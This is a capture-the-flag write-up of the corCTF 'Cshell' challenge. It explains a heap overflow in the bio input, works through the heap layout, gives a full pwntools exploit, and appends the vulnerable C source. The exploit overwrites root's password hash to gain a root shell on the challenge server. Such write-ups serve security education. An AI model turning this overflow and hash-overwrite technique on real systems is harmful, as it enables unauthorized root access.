# Intro

This is a nice straightforward heap overflow challenge. We are given the
binary and the source for it (see [Appendix A](#cshell.c)).

### The binary

We can take a look at the binary itself and check the protections on it (but
as you will see, this isn’t really relevant). The binary itself happens to be
statically compiled, which can make things a bit more interesting when trying
to inspect the heap later with things like
[pwndbg](https://github.com/pwndbg/pwndbg).

```c  
$ checksec ./Cshell  
[*] ‘~/CTF/corCTF/pwn/Cshell/Cshell'  
Arch: amd64-64-little  
RELRO: Partial RELRO  
Stack: Canary found  
NX: NX enabled  
PIE: No PIE (0x400000)  
$ file ./Cshell  
./Cshell: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically
linked, BuildID[sha1]=fa44f005a56ad5119764902311a39bbf09cbca23, for GNU/Linux
3.2.0, not stripped  
$  
```

We can even see the line in the source code for how it was compiled:  
```c  
//gcc Cshell.c -static -lcrypt -o Cshell  
```

### Getting a feel for how the binary works

If we run the binary we are greeted with a message and asked to create a new
user profile:

```c  
$ ./Cshell  
/\  
{.-}  
;_.-'\  
{ _.}_  
\\.-' / `,  
\ | /  
\ | ,/  
\|_/

Welcome to Cshell, a very restricted shell.  
Please create a profile.  
Enter a username up to 8 characters long.  
>  
```

We can give a username, password (which it doesn’t say, but can be a max of 32
chars - not that it’s important) and bio:

```c  
Enter a username up to 8 characters long.  
> AAAAAAA  
Welcome to the system AAAAAAA, you are our 3rd user. We used to have more but
some have deleted their accounts.  
Create a password.  
> BBBBBBBB  
How many characters will your bio be (200 max)?  
> 8  
Great, please type your bio.  
> CCCCCCC  
```

Once we have done this, we are greeted with a menu:

```c  
+----------------------+  
| Commands |  
+----------------------+  
| 1. logout |  
| 2. whoami |  
| 3. bash (ROOT ONLY!) |  
| 4. squad |  
| 5. exit |  
+----------------------+  
Choice >  
```

Option 4 (‘squad’), just prints “..”:

```c  
Choice > 4  
..  
```

If we run option 2 (‘whoami’), we get the following (which shows our uid):

```c  
Choice > 2  
AAAAAAA, uid: 1000  
```

From our uid, we know we aren’t root, but if we try the ‘ROOT ONLY’ option:

```c  
Choice > 3  
Who do you think you are?  
```

It also calls ```exit(0)```, which you also get from the ‘exit’ option. But we
know that if we could somehow login as root (or get a uid of 0) then we could
use this option to pop a shell and win.

The last option is ‘logout’, which lets you then login again:

```c  
Choice > 1  
Username:AAAAAAA  
Password:BBBBBBB  
Authenticated!

```

It will do some checking that the user we try to log in as exists and then it
will hash the password we give it against a hash it has stored for that user:

```c  
Choice > 1  
Username:madeup  
Sorry no users with that name.  
Username:root  
Password:root  
Incorrect  
Username:  
```

# Digging into the source

## Logging in

If we look at the ```logout()``` function, we can see it basically reads a
username from the user and then loops over the users and if it finds one with
that name it asks for a password (and then hashes that and checks against the
stored hash).

```c  
void logout(){  
fflush(stdin);  
getchar();  
struct tracker *ptr;  
printf("Username:");  
char username_l[9];  
char password_l[32];  
char *hash;  
scanf("%8s",username_l);  
for (ptr = root_t; ptr != NULL; ptr = root_t->next) {

if (strcmp(ptr->name, username_l) == 0) {  
printf("Password:");  
scanf("%32s",password_l);  
hash = crypt(password_l,salt);  
if (strcmp(hash,ptr->ptr->passwd) == 0){  
strcpy(username,ptr->name);  
uid = ptr->id;  
puts("Authenticated!");  
menu();  
}  
else{  
puts("Incorrect");  
logout();  
}  
  
}  
else  
{  
if (ptr->next==0)  
{  
puts("Sorry no users with that name.");  
logout();  
}  
}  
}  
}  
```

One (irrelevant) sidenote here is that due to the way it recursively calls
```logout()``` on either a bad username or bad password a malicious attacker
could probably crash the service by repeatedly failing to log in until the
stack is exhausted (not that this helps us in this case).

## User structs

The user data type being iterated over during the login is a linked list made
up of ```tracker``` structs:

```c  
struct tracker{  
struct tracker *next;  
struct users *ptr;  
char name[8];  
long int id;  
};  
```

This contains a copy of the username field and the uid of the user (which for
our user is always 1000 and for root is always 0). The ```users``` struct
element of the struct (just called ```ptr```) is very simple:

```c  
struct users {  
char name[8];  
char passwd[35];  
};  
```

It contains another copy of the username string and the hash of the password.
We can see in the code where the two globals are initialised in main:

```c  
int main(){  
setvbuf(stdout, 0 , 2 , 0);  
setvbuf(stdin, 0 , 2 , 0);  
root_t = malloc(sizeof(struct tracker));  
user_t = malloc(sizeof(struct tracker));  
history();  
banner();  
user = malloc(sizeof(struct users )* 4);  
root = user + 1;  
strcpy(user->name,"tempname");  
strcpy(user->passwd,"placeholder");  
strcpy(root->name,"root");  
strcpy(root->passwd,"guessme:)");  
strcpy(root_t->name,"root");  
root_t->ptr = root;  
root_t->id = 0;  
root_t->next = user_t;  
setup();  
strcpy(user->name,username);  
strcpy(user->passwd,hash);  
strcpy(user_t->name,username);  
user_t->id=1000;  
user_t->ptr = user;  
user_t->next = NULL;  
menu();  
return 0;  
}  
```

The next pointer for ```root_t``` is set to be ```user_t``` and the next
pointer for ```user_t``` is set to NULL (so it’s a linked list of two
elements, with no way to grow…).

## The history function

If we look at the code for ```history()``` we can see what it was talking
about when it said ```you are our 3rd user. We used to have more but some have
deleted their accounts.```:

```c  
void history(){  
alex_buff = malloc(0x40);  
char alex_data[0x40] = "Alex\nJust a user on this system.\0";  
char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";  
char Charlie[0x50] ="Charlie\nI do not trust the security of this
program...\0";  
char Eric[0x60] = "Eric\nThis is one of the best programs I have ever
used!\0";  
strcpy(alex_buff,alex_data);  
Charlie_buff = malloc(0x50);  
strcpy(Charlie_buff,Charlie);  
Johnny_buff = malloc(0x60);  
strcpy(Johnny_buff,Johnny);  
Eric_buff = malloc(0x80);  
strcpy(Eric_buff,Eric);  
free(Charlie_buff);  
free(Eric_buff);  
}  
```

This function is kinda nonsense and just serves to do 4 allocations of sizes
0x40 (```alex_buff```), 0x50 (```Charlie_buff```), 0x60 (```Johnny_buff```)
and 0x80 (```Eric_buff```) and then free the 0x50 and 0x80 allocations.

## Creating a user with the setup function

The final bit of code to look at is ```setup()```:

```c  
void setup(){  
char password_L[33];  
puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");  
printf("Enter a username up to 8 characters long.\n> ");  
scanf("%8s",username);  
printf("Welcome to the system %s, you are our 3rd user. We used to have more
but some have deleted their accounts.\nCreate a password.\n> ",username);  
scanf("%32s",&password_L);  
hash = crypt(password_L,salt);  
printf("How many characters will your bio be (200 max)?\n> ");  
scanf("%d",&length);  
userbuffer = malloc(length + 8);  
printf("Great, please type your bio.\n> ");  
getchar();  
fgets((userbuffer + 8),201,stdin);  
}  
```

Here we can see the bug that we are going to exploit. It asks us for a length
of bio, but then does an ```fgets``` of 201 characters (so we can ask for a
block size smaller than that and get a heap overflow).

There are no obvious ways after our bio is entered to do further allocations
or frees (It is possible to trigger them using printf/scanf but that’s not the
path we need to take - but if you haven’t heard of those techniques they are
well worth looking into, I’ll put links in [Appendix B](#links)) so it’s
likely we’re looking to corrupt an existing object, rather than heap meta
data.

## State of the heap

If we go though the functions that do allocations/frees (```main()``` and
```history()```) in order of execution:

| Function | Action | Line in code |   
|:------------- |------------------------- |--------------------------------------------- |  
| main | Allocate 0x30 chunk | ```root_t = malloc(sizeof(struct tracker));``` |  
| main | Allocate 0x30 chunk | ```user_t = malloc(sizeof(struct tracker));``` |  
| history | Allocate 0x50 chunk | ```alex_buff = malloc(0x40);``` |  
| history | Allocate 0x60 chunk | ```Charlie_buff = malloc(0x50);``` |  
| history | Allocate 0x70 chunk | ```Johnny_buff = malloc(0x60);``` |  
| history | Allocate 0x90 chunk | ```Eric_buff = malloc(0x80);``` |  
| history | Free 0x60 chunk | ```free(Charlie_buff);``` |  
| history | Free 0x90 chunk | ```free(Eric_buff);``` |  
| main | Allocate 0xc0 chunk | ```user = malloc(sizeof(struct users )* 4);``` |

\-----  
  
One interesting thing to note is the use of just one chunk to hold both the
```users``` struct for our user and for root.  
  
In memory, before we enter our username/password/bio, the memory looks like:

| Chunk | Size/State |  
| ------------ | ------------------|  
| root_t | 0x30 - Allocated |  
| user_t | 0x30 - Allocated |  
| alex_buff | 0x50 - Allocated |  
| Charlie_buff | 0x60 - Free |  
| Johnny_buff | 0x70 - Allocated |  
| Eric_buff | 0x90 - Free |  
| user | 0xc0 - Allocated |  
| top chunk | |

\-----

### Double checking this in gdb  
We can see this in a memory dump from gdb:

![](https://i.imgur.com/csdIZ2Y.png)

# Plan for our exploit

Once we have entered our username and password (I chose “AAAAAAA” and
“BBBBBBBB”) our ```user``` struct is updated:

```  
0x5188b0: 0x0000000000000000 0x00000000000000c1  
0x5188c0: 0x0041414141414141 0x6559316f78323331  
0x5188d0: 0x000000454f6b6872 0x0000000000000000  
0x5188e0: 0x0000000000000000 0x00746f6f72000000  
0x5188f0: 0x7373657567000000 0x00000000293a656d  
0x518900: 0x0000000000000000 0x0000000000000000  
```

We can dump out the hash generated for “BBBBBBBB” (which we can then use later
to overwrite the hash for root’s password):

```  
pwndbg> x/16bx 0x5188c8  
0x5188c8: 0x31 0x33 0x32 0x78 0x6f 0x31 0x59 0x65  
0x5188d0: 0x72 0x68 0x6b 0x4f 0x45 0x00 0x00 0x00  
pwndbg>  
```

Now the plan is to pick a size for our bio, so it reuses the freed 0x90 chunk
that is in memory just before the user chunk. To do this we need to provide a
size that is between 0x80 and 0x88. We also have to account for it randomly
adding 0x8 to the size we pick in ```setup()```:

```c  
printf("How many characters will your bio be (200 max)?\n> ");  
scanf("%d",&length);  
userbuffer = malloc(length + 8);  
```

So, if we pick 0x80 (128), that will then become 0x88, which will force a
chunk size of 0x90.  
Our data starts getting written from offset 0x8 into the chunk we allocate:

```c  
fgets((userbuffer + 8),201,stdin);  
```

So we need to write 128 bytes to hit the end of our allocated chunk, 0x8 bytes
for the header of the user chunk and then we need to skip over the first entry
(our ```users``` struct) to hit the second entry (the root entry), which means
adding another 43 bytes (the struct isn’t packed, so 8 bytes username + 35
bytes of password hash). So total padding is 179 bytes.

Thus our exploit:

```python  
#!/usr/bin/env python3  
from pwn import *

exe = context.binary = ELF('./Cshell')

gdbscript = '''  
tbreak main  
init-pwndbg  
continue  
'''

if args.REMOTE:  
io = remote('pwn.be.ax',5001)  
elif args.GDB:  
io = gdb.debug(exe.path, gdbscript=gdbscript)  
else:  
io = process(exe.path)

def sla(delim,line): return io.sendlineafter(delim,line)  
def sl(line): return io.sendline(line)

# username, password and bio size  
sla(b'8 characters long.\n',b'A'*8)  
sla(b'Create a password.\n',b'B'*8)  
sla(b'(200 max)?\n',b'128')

# hash of 'BBBBBBBB'  
eight_b_hash=b'\x31\x33\x32\x78\x6f\x31\x59\x65\x72\x68\x6b\x4f\x45'

# bio  
bio = b'C'*128 # fill bio buffer  
bio+= b'D'*51 # overflow till start of root user struct  
bio+= p64(0x746f6f72) # 'root'  
bio+= eight_b_hash # new hash for root  
sla(b'type your bio.\n', bio)

# logout  
sla(b'Choice > ',b'1')

# log in as root  
sla(b'Username:',b'root')  
sla(b'Password:',b'BBBBBBBB')

# pop shell  
sla(b'Choice > ',b'3')

io.interactive()  
```

Which when run:

```  
~/CTF/corCTF/pwn/Cshell$ ./exploit.py REMOTE  
[*] ‘~/CTF/corCTF/pwn/Cshell/Cshell'  
Arch: amd64-64-little  
RELRO: Partial RELRO  
Stack: Canary found  
NX: NX enabled  
PIE: No PIE (0x400000)  
[+] Opening connection to pwn.be.ax on port 5001: Done  
[*] Switching to interactive mode  
$ ls -l  
total 1172  
-rw-rw-r-- 1 nobody nogroup 47 Aug 14 18:21 flag.txt  
-rwxrwxr-x 1 nobody nogroup 1192888 Aug 17 22:52 run  
$ cat flag.txt  
corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}  
$ exit  
```

This was a pretty fun challenge, thanks to 0x5a for writing it :)

\-----

# Appendix A  
## CShell.c  
```c  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <crypt.h>

//gcc Cshell.c -static -lcrypt -o Cshell  
struct users {  
char name[8];  
char passwd[35];  
};

struct tracker{  
struct tracker *next;  
struct users *ptr;  
char name[8];  
long int id;  
};

char * alex_buff;  
char * Charlie_buff;  
char * Johnny_buff;  
char * Eric_buff;

struct users *user;  
struct users *root;

struct tracker *root_t;  
struct tracker *user_t;

char *username[8];  
char *userbuffer;  
int uid=1000;  
int length;  
char salt[5] = "1337\0";  
char *hash;  
void setup(){  
char password_L[33];  
puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");  
printf("Enter a username up to 8 characters long.\n> ");  
scanf("%8s",username);  
printf("Welcome to the system %s, you are our 3rd user. We used to have more
but some have deleted their accounts.\nCreate a password.\n> ",username);  
scanf("%32s",&password_L);  
hash = crypt(password_L,salt);  
printf("How many characters will your bio be (200 max)?\n> ");  
scanf("%d",&length);  
userbuffer = malloc(length + 8);  
printf("Great, please type your bio.\n> ");  
getchar();  
fgets((userbuffer + 8),201,stdin);  
}

void logout(){  
fflush(stdin);  
getchar();  
struct tracker *ptr;  
printf("Username:");  
char username_l[9];  
char password_l[32];  
char *hash;  
scanf("%8s",username_l);  
for (ptr = root_t; ptr != NULL; ptr = root_t->next) {

if (strcmp(ptr->name, username_l) == 0) {  
printf("Password:");  
scanf("%32s",password_l);  
hash = crypt(password_l,salt);  
if (strcmp(hash,ptr->ptr->passwd) == 0){  
strcpy(username,ptr->name);  
uid = ptr->id;  
puts("Authenticated!");  
menu();  
}  
else{  
puts("Incorrect");  
logout();  
}  
  
}  
else  
{  
if (ptr->next==0)  
{  
puts("Sorry no users with that name.");  
logout();  
}  
}  
}  
}  
void whoami(){  
printf("%s, uid: %d\n",username,uid);  
menu();  
}  
void bash(){

if (uid == 0){  
system("bash");  
}  
else  
{  
puts("Who do you think you are?");  
exit(0);  
}

}

void squad(){  
puts("..");  
menu();  
}

void banner(){

puts(" /\\\");  
puts(" {.-}");  
puts(" ;_.-'\\\");  
puts(" { _.}_");  
puts(" \\\\.-' / `,");  
puts(" \\\ | /");  
puts(" \\\ | ,/");  
puts(" \\\|_/");  
puts("");  
}  
void menu(){  
puts("+----------------------+");  
puts("| Commands |");  
puts("+----------------------+");  
puts("| 1. logout |");  
puts("| 2. whoami |");  
puts("| 3. bash (ROOT ONLY!) |");  
puts("| 4. squad |");  
puts("| 5. exit |");  
puts("+----------------------+");  
int option;  
printf("Choice > ");  
scanf("%i",&option);  
switch(option){  
case 1:  
logout();  
case 2:  
whoami();  
case 3:  
bash();  
case 4:  
squad();  
case 5:  
exit(0);  
default:  
puts("[!] invalid choice \n");  
break;  
}  
}  
void history(){  
alex_buff = malloc(0x40);  
char alex_data[0x40] = "Alex\nJust a user on this system.\0";  
char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";  
char Charlie[0x50] ="Charlie\nI do not trust the security of this
program...\0";  
char Eric[0x60] = "Eric\nThis is one of the best programs I have ever
used!\0";  
strcpy(alex_buff,alex_data);  
Charlie_buff = malloc(0x50);  
strcpy(Charlie_buff,Charlie);  
Johnny_buff = malloc(0x60);  
strcpy(Johnny_buff,Johnny);  
Eric_buff = malloc(0x80);  
strcpy(Eric_buff,Eric);  
free(Charlie_buff);  
free(Eric_buff);  
}

int main(){  
setvbuf(stdout, 0 , 2 , 0);  
setvbuf(stdin, 0 , 2 , 0);  
root_t = malloc(sizeof(struct tracker));  
user_t = malloc(sizeof(struct tracker));  
history();  
banner();  
user = malloc(sizeof(struct users )* 4);  
root = user + 1;  
strcpy(user->name,"tempname");  
strcpy(user->passwd,"placeholder");  
strcpy(root->name,"root");  
strcpy(root->passwd,"guessme:)");  
strcpy(root_t->name,"root");  
root_t->ptr = root;  
root_t->id = 0;  
root_t->next = user_t;  
setup();  
strcpy(user->name,username);  
strcpy(user->passwd,hash);  
strcpy(user_t->name,username);  
user_t->id=1000;  
user_t->ptr = user;  
user_t->next = NULL;  
menu();  
return 0;  
}  
```

\-----

# Appendix B

## Links  
* [Trigger malloc with printf](https://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free)  
* [Trigger malloc with scanf](https://changochen.github.io/2018-11-09-hctf.html)